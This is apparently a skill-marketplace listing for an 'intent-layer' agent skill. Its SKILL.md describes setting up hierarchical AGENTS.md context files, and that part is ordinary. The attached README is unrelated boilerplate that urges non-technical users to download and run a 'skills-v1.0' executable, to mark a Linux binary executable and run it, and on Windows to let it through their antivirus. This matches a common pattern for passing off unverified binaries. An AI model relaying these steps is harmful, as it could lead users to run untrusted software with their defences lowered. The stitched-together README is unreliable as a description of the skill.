Iniciar sesión
maleckf

intent-layer

by @maleckf in AI & LLM
0
0
# Install this skill:
npx skills add maleckf/skills

Or install specific skill: npx add-skill https://github.com/maleckf/skills/tree/main/context-engineering/intent-layer

# Description

>

# SKILL.md

name: intent-layer
description: >
Set up hierarchical Intent Layer (AGENTS.md files) for codebases.
Use when initializing a new project, adding context infrastructure to an existing repo,
user asks to set up AGENTS.md, add intent layer, make agents understand the codebase,
or scaffolding AI-friendly project documentation.

Intent Layer

Hierarchical AGENTS.md infrastructure so agents navigate codebases like senior engineers.

Core Principle

Only ONE root context file. CLAUDE.md and AGENTS.md should NOT coexist at project root. Child AGENTS.md in subdirectories are encouraged for complex subsystems.

Workflow

1. Detect state
   scripts/detect_state.sh /path/to/project
   → Returns: none | partial | complete

2. Route
   none/partial → Initial setup (steps 3-5)
   complete     → Maintenance (step 6)

3. Measure [gate - show table first]
   scripts/analyze_structure.sh /path/to/project
   scripts/estimate_tokens.sh /path/to/each/source/dir

4. Decide
   No root file  → Ask: CLAUDE.md or AGENTS.md?
   Has root file → Add Intent Layer section + child nodes if needed

5. Execute
   Use references/templates.md for structure
   Use references/node-examples.md for real-world patterns
   Validate: one root, READ-FIRST directive, <4k tokens per node

6. Maintenance mode (when state=complete)
   Ask user:
   a) Audit nodes     → Use references/capture-protocol.md for SME questions
   b) Find candidates → Re-measure tokens, suggest new nodes
   c) Both

When to Create Child Nodes

Signal Action
>20k tokens in directory Create AGENTS.md
Responsibility shift Create AGENTS.md
Hidden contracts/invariants Document in nearest ancestor
Cross-cutting concern Place at LCA

Do NOT create for: every directory, simple utilities, test folders (unless complex).

Capture Questions

When documenting existing code, ask:
1. What does this area own? What's out of scope?
2. What invariants must never be violated?
3. What repeatedly confuses new engineers?
4. What patterns should always be followed?

Resources

Scripts:
- scripts/detect_state.sh - Check Intent Layer state (none/partial/complete)
- scripts/analyze_structure.sh - Find semantic boundaries
- scripts/estimate_tokens.sh - Measure directory complexity

References:
- references/templates.md - Root and child node templates
- references/node-examples.md - Real-world examples
- references/capture-protocol.md - SME interview protocol

# README.md

🎨 skills - Simplify Agent Skills for Everyone

🚀 Getting Started

Welcome to the skills application! This tool helps you understand and utilize agent skills, starting with context engineering. You don’t need to be a programmer to use it. Follow this guide to download and run the application easily.

📥 Download the Application

Download skills

You can visit this page to download the latest version of skills: Download skills.

🖥 System Requirements

Before downloading, ensure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or any recent Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Disk Space: At least 100 MB of available space.

⚙️ How to Download

  1. Click on the Download skills link above.
  2. You will see a list of available releases. Locate the latest version, marked with "latest".
  3. Click on the version to expand the details.
  4. Find the appropriate file for your operating system. For example:
  5. For Windows, look for skills-v1.0.exe.
  6. For macOS, find skills-v1.0.dmg.
  7. For Linux, check for the appropriate binary file.
  8. Click on the file link to begin downloading.

🏗 Installation Steps

Once the download is complete, follow these easy steps to install the application.

For Windows:

  1. Locate the downloaded .exe file, usually found in your "Downloads" folder.
  2. Double-click the file to run it.
  3. Follow the on-screen instructions to complete the installation.
  4. After installation, you can find skills in your Start Menu.

For macOS:

  1. Find the downloaded .dmg file in your "Downloads" folder.
  2. Double-click the file to mount it.
  3. Drag the skills icon to your Applications folder.
  4. You can then open skills from your Applications.

For Linux:

  1. Open your terminal.
  2. Navigate to the directory where you downloaded the binary.
  3. Run the following command to give the binary execution permissions:
    chmod +x skills-v1.0
  4. Execute the application using:
    ./skills-v1.0

✨ Features of skills

  • Context Engineering: Learn how agents understand and process information in certain contexts.
  • User-Friendly Interface: Designed for easy navigation even for non-technical users.
  • Built-in Tutorials: Follow guiding tutorials to help you get started quickly.
  • Regular Updates: The software will receive updates to improve functionality and add new features.

📜 Important Notes

  • If you encounter issues during installation, ensure you have the correct file for your OS.
  • For Windows users, make sure you allow the application through your antivirus software if prompted.
  • Regularly check the Releases page for updates to get the latest features and bug fixes.

🔍 Troubleshooting

If you experience problems while running skills, try the following steps:

  1. Restart your computer. Sometimes a simple restart resolves many issues.
  2. Ensure your operating system is updated to the latest version.
  3. Re-download the application in case the initial download was incomplete.
  4. Consult common error solutions in the built-in help section of the application.

📞 Support

For any questions, feedback, or support requests, please open an issue on the GitHub repository. We are here to help you!

Thank you for choosing skills. Enjoy using the application to enhance your understanding of agent skills!

# Related Skills

# Supported AI Coding Agents

This skill is compatible with the SKILL.md standard and works with all major AI coding agents:

⚡ Amp 🚀 Antigravity 🤖 Claude Code 🦀 Clawdbot 📝 Codex ▶️ Cursor 🤖 Droid 💎 Gemini CLI 🐙 GitHub Copilot 🪿 Goose 📊 Kilo Code 🔧 Kiro CLI 💻 OpenCode 🦘 Roo Code 🌲 Trae 🏄 Windsurf

Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.